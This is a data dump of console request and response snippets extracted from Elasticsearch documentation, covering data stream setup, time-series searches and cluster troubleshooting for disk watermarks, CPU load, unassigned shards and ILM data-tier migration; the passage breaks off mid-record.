{"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":233},"digest":"ea020ea32d5cd35e577c61a120f92451","lang":"console","found":["ruby"],"source":"PUT my-data-stream/_bulk\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:21:15.000Z\", \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\" }\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:25:42.000Z\", \"message\": \"192.0.2.255 - - [06/May/2099:16:25:42 +0000] \\\"GET /favicon.ico HTTP/1.0\\\" 200 3638\" }\n\nPOST my-data-stream/_doc\n{\n \"@timestamp\": \"2099-05-06T16:21:15.000Z\",\n \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\"\n}"}, {"source_location":{"file":"how-to/use-elasticsearch-for-time-series-data.asciidoc","line":101},"digest":"5f7b59d4fad0bdce6b09abb520ddb51d","lang":"console","found":[],"source":"GET my-data-stream/_search\n{\n \"runtime_mappings\": {\n \"source.ip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ \"message\" ].value)?.sourceip;\n if (sourceip != null) emit(sourceip);\n \"\"\"\n }\n },\n \"query\": {\n \"bool\": {\n \"filter\": [\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-1d/d\",\n \"lt\": \"now/d\"\n }\n }\n },\n {\n \"range\": {\n \"source.ip\": {\n \"gte\": \"192.0.2.0\",\n \"lte\": \"192.0.2.255\"\n }\n }\n }\n ]\n }\n },\n \"fields\": [\n \"*\"\n ],\n \"_source\": false,\n \"sort\": [\n {\n \"@timestamp\": \"desc\"\n },\n {\n \"source.ip\": \"desc\"\n }\n ]\n}"}, {"source_location":{"file":"how-to/use-elasticsearch-for-time-series-data.asciidoc","line":158},"digest":"afa24b7d72c2d9f586023a49bd655ec7","lang":"console","found":[],"source":"POST my-data-stream/_async_search\n{\n \"runtime_mappings\": {\n \"source.ip\": {\n \"type\": \"ip\",\n \"script\": \"\"\"\n String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ \"message\" ].value)?.sourceip;\n if (sourceip != null) emit(sourceip);\n \"\"\"\n }\n },\n \"query\": {\n \"bool\": {\n \"filter\": [\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-2y/d\",\n \"lt\": \"now/d\"\n }\n }\n },\n {\n \"range\": {\n \"source.ip\": {\n \"gte\": \"192.0.2.0\",\n \"lte\": \"192.0.2.255\"\n }\n }\n }\n ]\n }\n },\n \"fields\": [\n \"*\"\n ],\n \"_source\": false,\n \"sort\": [\n {\n \"@timestamp\": \"desc\"\n },\n {\n \"source.ip\": \"desc\"\n }\n ]\n}"}, {"source_location":{"file":"troubleshooting/common-issues/disk-usage-exceeded.asciidoc","line":26},"digest":"a1070cf2f5969d42d71cda057223f152","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true"}, {"source_location":{"file":"troubleshooting/common-issues/disk-usage-exceeded.asciidoc","line":34},"digest":"934ced0998552cc95a28e48554147e8b","lang":"console","found":["ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index\",\n \"shard\": 0,\n \"primary\": false,\n \"current_node\": \"my-node\"\n}"}, {"source_location":{"file":"troubleshooting/common-issues/disk-usage-exceeded.asciidoc","line":51},"digest":"8582e918a6275472d2eba2e95f1dbe77","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.disk.watermark.low\": \"90%\",\n \"cluster.routing.allocation.disk.watermark.low.max_headroom\": \"100GB\",\n \"cluster.routing.allocation.disk.watermark.high\": \"95%\",\n \"cluster.routing.allocation.disk.watermark.high.max_headroom\": \"20GB\",\n \"cluster.routing.allocation.disk.watermark.flood_stage\": \"97%\",\n \"cluster.routing.allocation.disk.watermark.flood_stage.max_headroom\": \"5GB\",\n \"cluster.routing.allocation.disk.watermark.flood_stage.frozen\": \"97%\",\n \"cluster.routing.allocation.disk.watermark.flood_stage.frozen.max_headroom\": \"5GB\"\n }\n}\n\nPUT */_settings?expand_wildcards=all\n{\n \"index.blocks.read_only_allow_delete\": null\n}"}, {"source_location":{"file":"troubleshooting/common-issues/disk-usage-exceeded.asciidoc","line":79},"digest":"72d33fbd72b0766b2f14ea27d9ccf0fa","lang":"console","found":["ruby"],"source":"DELETE my-index"}, {"source_location":{"file":"troubleshooting/common-issues/disk-usage-exceeded.asciidoc","line":87},"digest":"f4dc1286d0a2f8d1fde64fbf12fd9f8d","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.disk.watermark.low\": null,\n \"cluster.routing.allocation.disk.watermark.low.max_headroom\": null,\n \"cluster.routing.allocation.disk.watermark.high\": null,\n \"cluster.routing.allocation.disk.watermark.high.max_headroom\": null,\n \"cluster.routing.allocation.disk.watermark.flood_stage\": null,\n \"cluster.routing.allocation.disk.watermark.flood_stage.max_headroom\": null,\n \"cluster.routing.allocation.disk.watermark.flood_stage.frozen\": null,\n \"cluster.routing.allocation.disk.watermark.flood_stage.frozen.max_headroom\": null\n }\n}"}, {"source_location":{"file":"troubleshooting/common-issues/circuit-breaker-errors.asciidoc","line":56},"digest":"d8a82511cb94f49b4fe4828fee3ba074","lang":"console","found":["ruby"],"source":"GET _cat/nodes?v=true&h=name,node*,heap*"}, {"source_location":{"file":"troubleshooting/common-issues/circuit-breaker-errors.asciidoc","line":64},"digest":"e14a5a5a1c880031486bfff43031fa3a","lang":"console","found":["ruby"],"source":"GET _nodes/stats/breaker"}, {"source_location":{"file":"troubleshooting/common-issues/circuit-breaker-errors.asciidoc","line":92},"digest":"3218f8ccd59c8c90349816e0428e8fb8","lang":"console","found":["ruby"],"source":"POST _cache/clear?fielddata=true"}, {"source_location":{"file":"tab-widgets/cpu-usage.asciidoc","line":13},"digest":"1637ef51d673b35cc8894ee80cd61c87","lang":"console","found":["ruby"],"source":"GET _cat/nodes?v=true&s=cpu:desc"}, {"source_location":{"file":"tab-widgets/cpu-usage.asciidoc","line":14},"digest":"1637ef51d673b35cc8894ee80cd61c87","lang":"console","found":["ruby"],"source":"GET _cat/nodes?v=true&s=cpu:desc"}, {"source_location":{"file":"troubleshooting/common-issues/high-cpu-usage.asciidoc","line":26},"digest":"1745ac9e6d22a2ffe7ac381f9ba238f9","lang":"console","found":["ruby"],"source":"GET _nodes/my-node,my-other-node/hot_threads"}, {"source_location":{"file":"troubleshooting/common-issues/high-cpu-usage.asciidoc","line":58},"digest":"8f4a7f68f2ca3698abdf20026a2d8c5f","lang":"console","found":["ruby"],"source":"GET _tasks?actions=*search&detailed"}, {"source_location":{"file":"troubleshooting/common-issues/high-cpu-usage.asciidoc","line":66},"digest":"a5a360d0325b5a8d67f2a87cf140dab9","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"oTUltX4IQMOUUVeiohTt8A\" : {\n \"name\" : \"my-node\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"host\" : \"127.0.0.1\",\n \"ip\" : \"127.0.0.1:9300\",\n \"tasks\" : {\n \"oTUltX4IQMOUUVeiohTt8A:464\" : {\n \"node\" : \"oTUltX4IQMOUUVeiohTt8A\",\n \"id\" : 464,\n \"type\" : \"transport\",\n \"action\" : \"indices:data/read/search\",\n \"description\" : \"indices[my-index], search_type[QUERY_THEN_FETCH], source[{\\\"query\\\":...}]\",\n \"start_time_in_millis\" : 4081771730000,\n \"running_time_in_nanos\" : 13991383,\n \"cancellable\" : true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"troubleshooting/common-issues/high-cpu-usage.asciidoc","line":95},"digest":"84c69fb07050f0e89720007a6507a221","lang":"console","found":["ruby"],"source":"POST _tasks/oTUltX4IQMOUUVeiohTt8A:464/_cancel"}, {"source_location":{"file":"tab-widgets/jvm-memory-pressure.asciidoc","line":10},"digest":"765c9c8b40b67a42121648045dbf10fb","lang":"console","found":["ruby"],"source":"GET _nodes/stats?filter_path=nodes.*.jvm.mem.pools.old"}, {"source_location":{"file":"tab-widgets/jvm-memory-pressure.asciidoc","line":11},"digest":"765c9c8b40b67a42121648045dbf10fb","lang":"console","found":["ruby"],"source":"GET _nodes/stats?filter_path=nodes.*.jvm.mem.pools.old"}, {"source_location":{"file":"troubleshooting/common-issues/high-jvm-memory-pressure.asciidoc","line":69},"digest":"1295f51b9e5d4ba9987b02478146b50b","lang":"console","found":["ruby"],"source":"PUT _settings\n{\n \"index.max_result_window\": 5000\n}\n\nPUT _cluster/settings\n{\n \"persistent\": {\n \"search.max_buckets\": 20000,\n \"search.allow_expensive_queries\": false\n }\n}"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":17},"digest":"b7df0848b2dc3093f931976db5b8cfff","lang":"console","found":["ruby"],"source":"GET _cluster/health?filter_path=status,*_shards"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":30},"digest":"6705eca2095ade294548cfb25bf2dd86","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true&h=index,shard,prirep,state,node,unassigned.reason&s=state"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":42},"digest":"5e415c490a46358643ee2aab554b4876","lang":"console","found":["ruby"],"source":"GET _cluster/allocation/explain?filter_path=index,node_allocation_decisions.node_name,node_allocation_decisions.deciders.*\n{\n \"index\": \"my-index\",\n \"shard\": 0,\n \"primary\": false\n}"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":69},"digest":"73ebc89cb32adb389ae16bb088d7c7e6","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.enable\" : null\n }\n}"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":94},"digest":"611c1e05f4ebb48a1a8c8488238ce34d","lang":"console","found":["ruby"],"source":"POST _cluster/reroute?metric=none"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":113},"digest":"674bb755111c6fbaa4c5ac759395c122","lang":"console","found":["ruby"],"source":"GET my-index/_settings?flat_settings=true&include_defaults=true\n\nGET _cluster/settings?flat_settings=true&include_defaults=true"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":138},"digest":"cdfd4fef983c1c0fe8d7417f67d01eae","lang":"console","found":["ruby"],"source":"PUT _settings\n{\n \"index.number_of_replicas\": 1\n}"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":159},"digest":"b728d6ba226dba719aadcd8b8099cc74","lang":"console","found":["ruby"],"source":"GET _cat/allocation?v=true&h=node,shards,disk.*"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":177},"digest":"4c5f0d7af287618062bb627b44ccb23e","lang":"console","found":["ruby"],"source":"POST my-index/_forcemerge"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":186},"digest":"44231f7cdd5c3a21025861cdef31e355","lang":"console","found":["ruby"],"source":"POST my-index/_shrink/my-shrunken-index"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":195},"digest":"9d47f02a063444da9f098858a1830d28","lang":"console","found":[],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.disk.watermark.low\": \"30gb\"\n }\n}"}, {"source_location":{"file":"troubleshooting/common-issues/red-yellow-cluster-status.asciidoc","line":232},"digest":"35b686d9d9e915d0dea7a4251781767d","lang":"console","found":[],"source":"POST _cluster/reroute?metric=none\n{\n \"commands\": [\n {\n \"allocate_empty_primary\": {\n \"index\": \"my-index\",\n \"shard\": 0,\n \"node\": \"my-node\",\n \"accept_data_loss\": \"true\"\n }\n }\n ]\n}"}, {"source_location":{"file":"troubleshooting/common-issues/rejected-requests.asciidoc","line":25},"digest":"4655c3dea0c61935b7ecf1e57441df66","lang":"console","found":["ruby"],"source":"GET /_cat/thread_pool?v=true&h=id,name,active,rejected,completed"}, {"source_location":{"file":"troubleshooting/common-issues/task-queue-backlog.asciidoc","line":22},"digest":"425eaaf9c7e3b1e77a3474fbab4183b4","lang":"console","found":["ruby"],"source":"GET /_cat/thread_pool?v&s=t,n&h=type,name,node_name,active,queue,rejected,completed"}, {"source_location":{"file":"troubleshooting/common-issues/task-queue-backlog.asciidoc","line":34},"digest":"270549e6b062228312c4e7a54a2c2209","lang":"console","found":["ruby"],"source":"GET /_nodes/hot_threads"}, {"source_location":{"file":"troubleshooting/common-issues/task-queue-backlog.asciidoc","line":45},"digest":"50ddf374cfa8128538ea092ee98b723d","lang":"console","found":["ruby"],"source":"GET /_tasks?filter_path=nodes.*.tasks"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":28},"digest":"1570976f7807b88dc8a046b833be057b","lang":"console","found":["ruby"],"source":"GET _cat/nodes?v&s=master,name&h=name,master,node.role,heap.percent,disk.used_percent,cpu"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":34},"digest":"4420b0b1f98f7e824a354112587afad7","lang":"console-result","found":[],"source":"name master node.role heap.percent disk.used_percent cpu\nnode_1 * hirstm 24 20 95\nnode_2 - hirstm 23 18 18\nnode_3 - hirstmv 25 90 10"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":102},"digest":"9a05cc10eea1251e23b82a4549913536","lang":"console","found":["ruby"],"source":"GET _cat/allocation?v&s=node&h=node,shards,disk.percent,disk.indices,disk.used"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":109},"digest":"94cb975a6303de99d6314bfd4f46d5a3","lang":"console-result","found":[],"source":"node shards disk.percent disk.indices disk.used\nnode_1 446 19 154.8gb 173.1gb\nnode_2 31 52 44.6gb 372.7gb\nnode_3 445 43 271.5gb 289.4gb"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":142},"digest":"52b71aa4ae6563abae78cd20ff06d1e9","lang":"console","found":["ruby"],"source":"GET _nodes/stats?human&filter_path=nodes.*.name,nodes.*.indices.indexing"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":154},"digest":"67bab07fda27ef77e3bc948211051a33","lang":"console","found":["ruby"],"source":"GET _cat/thread_pool/write,search?v=true&s=n,nn&h=n,nn,q,a,r,c"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":161},"digest":"215617c7efb41f5806f20e2d2ed8f397","lang":"console-result","found":[],"source":"n nn q a r c\nsearch node_1 3 1 0 1287\nsearch node_2 0 2 0 1159\nsearch node_3 0 1 0 1302\nwrite node_1 100 3 0 4259\nwrite node_2 0 4 0 980\nwrite node_3 1 5 0 8714"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":190},"digest":"1a3897cfb4f974c09d0d847baac8aa6d","lang":"console","found":["ruby"],"source":"GET _stats?level=shards&human&expand_wildcards=all&filter_path=indices.*.total.indexing.index_total"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":200},"digest":"8e2bbef535fef688d397e60e09aefa7f","lang":"console","found":["ruby"],"source":"GET _stats/indexing,search?level=shards&human&expand_wildcards=all"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":247},"digest":"146bd22fd0e7be2345619e8f11d3a4cb","lang":"console","found":["ruby"],"source":"GET _cat/tasks?v&s=time:desc&h=type,action,running_time,node,cancellable"}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":254},"digest":"285446914709d09dcb5ca7e7418d288d","lang":"console-result","found":[],"source":"type action running_time node cancellable\ndirect indices:data/read/eql 10m node_1 true\n..."}, {"source_location":{"file":"troubleshooting/common-issues/hotspotting.asciidoc","line":265},"digest":"e4d1f01c025fb797a1d87f372760eabf","lang":"console","found":["ruby"],"source":"GET _tasks?human&detailed"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":39},"digest":"6705eca2095ade294548cfb25bf2dd86","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true&h=index,shard,prirep,state,node,unassigned.reason&s=state"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":46},"digest":"d8fd1acce11c8cf4611e6abd95442857","lang":"console-result","found":[],"source":"[\n {\n \"index\": \"my-index-000001\",\n \"shard\": \"0\",\n \"prirep\": \"p\",\n \"state\": \"UNASSIGNED\",\n \"node\": null,\n \"unassigned.reason\": \"INDEX_CREATED\"\n }\n]"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":71},"digest":"4980d6fcb369692b0b29ddc6767d4324","lang":"console","found":["ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index-000001\", <1>\n \"shard\": 0, <2>\n \"primary\": true <3>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":90},"digest":"20d627f6973703ebb5ad1dfeebabbaf8","lang":"console-result","found":[],"source":"{\n \"index\" : \"my-index-000001\",\n \"shard\" : 0,\n \"primary\" : true,\n \"current_state\" : \"unassigned\", <1>\n \"unassigned_info\" : {\n \"reason\" : \"INDEX_CREATED\", <2>\n \"at\" : \"2022-01-04T18:08:16.600Z\",\n \"last_allocation_status\" : \"no\"\n },\n \"can_allocate\" : \"no\", <3>\n \"allocate_explanation\" : \"Elasticsearch isn't allowed to allocate this shard to any of the nodes in the cluster. Choose a node to which you expect this shard to be allocated, find this node in the node-by-node explanation, and address the reasons which prevent Elasticsearch from allocating this shard there.\",\n \"node_allocation_decisions\" : [\n {\n \"node_id\" : \"8qt2rY-pT6KNZB3-hGfLnw\",\n \"node_name\" : \"node-0\",\n \"transport_address\" : \"127.0.0.1:9401\",\n \"roles\": [\"data_content\", \"data_hot\"],\n \"node_attributes\" : {},\n \"node_decision\" : \"no\", <4>\n \"weight_ranking\" : 1,\n \"deciders\" : [\n {\n \"decider\" : \"filter\", <5>\n \"decision\" : \"NO\",\n \"explanation\" : \"node does not match index setting [index.routing.allocation.include] filters [_name:\\\"nonexistent_node\\\"]\" <6>\n }\n ]\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":142},"digest":"79bf91ace935d095d8e44b3ef3fe2efa","lang":"console","found":["ruby"],"source":"GET my-index-000001/_settings?flat_settings=true&include_defaults=true\n\nGET _cluster/settings?flat_settings=true&include_defaults=true"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":166},"digest":"6705eca2095ade294548cfb25bf2dd86","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true&h=index,shard,prirep,state,node,unassigned.reason&s=state"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":173},"digest":"d8fd1acce11c8cf4611e6abd95442857","lang":"console-result","found":[],"source":"[\n {\n \"index\": \"my-index-000001\",\n \"shard\": \"0\",\n \"prirep\": \"p\",\n \"state\": \"UNASSIGNED\",\n \"node\": null,\n \"unassigned.reason\": \"INDEX_CREATED\"\n }\n]"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":198},"digest":"4980d6fcb369692b0b29ddc6767d4324","lang":"console","found":["ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index-000001\", <1>\n \"shard\": 0, <2>\n \"primary\": true <3>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":217},"digest":"bc72e54acd2aa4d2f62701e77db19dc5","lang":"console-result","found":[],"source":"{\n \"index\" : \"my-index-000001\",\n \"shard\" : 0,\n \"primary\" : true,\n \"current_state\" : \"unassigned\", <1>\n \"unassigned_info\" : {\n \"reason\" : \"INDEX_CREATED\", <2>\n \"at\" : \"2022-01-04T18:08:16.600Z\",\n \"last_allocation_status\" : \"no\"\n },\n \"can_allocate\" : \"no\", <3>\n \"allocate_explanation\" : \"Elasticsearch isn't allowed to allocate this shard to any of the nodes in the cluster. Choose a node to which you expect this shard to be allocated, find this node in the node-by-node explanation, and address the reasons which prevent Elasticsearch from allocating this shard there.\",\n \"node_allocation_decisions\" : [\n {\n \"node_id\" : \"8qt2rY-pT6KNZB3-hGfLnw\",\n \"node_name\" : \"node-0\",\n \"transport_address\" : \"127.0.0.1:9401\",\n \"roles\": [\"data_content\", \"data_hot\"]\n \"node_attributes\" : {},\n \"node_decision\" : \"no\", <4>\n \"weight_ranking\" : 1,\n \"deciders\" : [\n {\n \"decider\" : \"filter\", <5>\n \"decision\" : \"NO\",\n \"explanation\" : \"node does not match index setting [index.routing.allocation.include] filters [_name:\\\"nonexistent_node\\\"]\" <6>\n }\n ]\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/diagnose-unassigned-shards.asciidoc","line":269},"digest":"79bf91ace935d095d8e44b3ef3fe2efa","lang":"console","found":["ruby"],"source":"GET my-index-000001/_settings?flat_settings=true&include_defaults=true\n\nGET _cluster/settings?flat_settings=true&include_defaults=true"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/add-tier.asciidoc","line":46},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/add-tier.asciidoc","line":53},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/add-tier.asciidoc","line":97},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/add-tier.asciidoc","line":106},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":32},"digest":"3dd45f65e7bfe207e8d796118f25613c","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":39},"digest":"a442a5c4f6916ed8194f745162a524d6","lang":"console-result","found":[],"source":"{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": \"none\" <1>\n },\n \"transient\": {}\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":57},"digest":"e5f8f83df37ab2296dc4bfed95d7aba7","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.enable\" : \"all\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":87},"digest":"3dd45f65e7bfe207e8d796118f25613c","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":94},"digest":"a442a5c4f6916ed8194f745162a524d6","lang":"console-result","found":[],"source":"{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": \"none\" <1>\n },\n \"transient\": {}\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-cluster-allocation.asciidoc","line":112},"digest":"e5f8f83df37ab2296dc4bfed95d7aba7","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.enable\" : \"all\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":51},"digest":"e58b7965c3a314c34bc444c6db3b1b79","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.enable?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":58},"digest":"664c9d753023dc21b956ac62d5d0054c","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.enable\": \"none\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":77},"digest":"e46c83db1580e14be844079cd008f518","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"routing.allocation.enable\" : \"all\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":104},"digest":"e58b7965c3a314c34bc444c6db3b1b79","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.enable?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":111},"digest":"664c9d753023dc21b956ac62d5d0054c","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.enable\": \"none\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/enable-index-allocation.asciidoc","line":130},"digest":"e46c83db1580e14be844079cd008f518","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"routing.allocation.enable\" : \"all\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":30},"digest":"dfa75000edf4b960ed9002595a051871","lang":"console","found":["ruby"],"source":"POST /_ilm/stop"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":38},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":48},"digest":"dfb641d2d3155669ad6fb5a424dabf4f","lang":"console","found":["ruby"],"source":"GET /_ilm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":55},"digest":"db8563ab7fe37081a9bb66c91d65d673","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"STOPPED\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":65},"digest":"142de21c40e84e2e2d8d832e5b3b36db","lang":"console","found":["ruby"],"source":"POST /_ilm/migrate_to_data_tiers"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":73},"digest":"5fa9333547931cf8a90f8089a339dd43","lang":"console-result","found":[],"source":"{\n \"dry_run\": false,\n \"migrated_ilm_policies\":[\"policy_with_allocate_action\"], <1>\n \"migrated_indices\":[\"warm-index-to-migrate-000001\"], <2>\n \"migrated_legacy_templates\":[\"a-legacy-template\"], <3>\n \"migrated_composable_templates\":[\"a-composable-template\"], <4>\n \"migrated_component_templates\":[\"a-component-template\"] <5>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":97},"digest":"2a47d11c6e19c9da5104e738359ea8a8","lang":"console","found":["ruby"],"source":"POST /_ilm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":104},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":139},"digest":"dfa75000edf4b960ed9002595a051871","lang":"console","found":["ruby"],"source":"POST /_ilm/stop"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":148},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":158},"digest":"dfb641d2d3155669ad6fb5a424dabf4f","lang":"console","found":["ruby"],"source":"GET /_ilm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":165},"digest":"db8563ab7fe37081a9bb66c91d65d673","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"STOPPED\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":175},"digest":"142de21c40e84e2e2d8d832e5b3b36db","lang":"console","found":["ruby"],"source":"POST /_ilm/migrate_to_data_tiers"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":184},"digest":"5fa9333547931cf8a90f8089a339dd43","lang":"console-result","found":[],"source":"{\n \"dry_run\": false,\n \"migrated_ilm_policies\":[\"policy_with_allocate_action\"], <1>\n \"migrated_indices\":[\"warm-index-to-migrate-000001\"], <2>\n \"migrated_legacy_templates\":[\"a-legacy-template\"], <3>\n \"migrated_composable_templates\":[\"a-composable-template\"], <4>\n 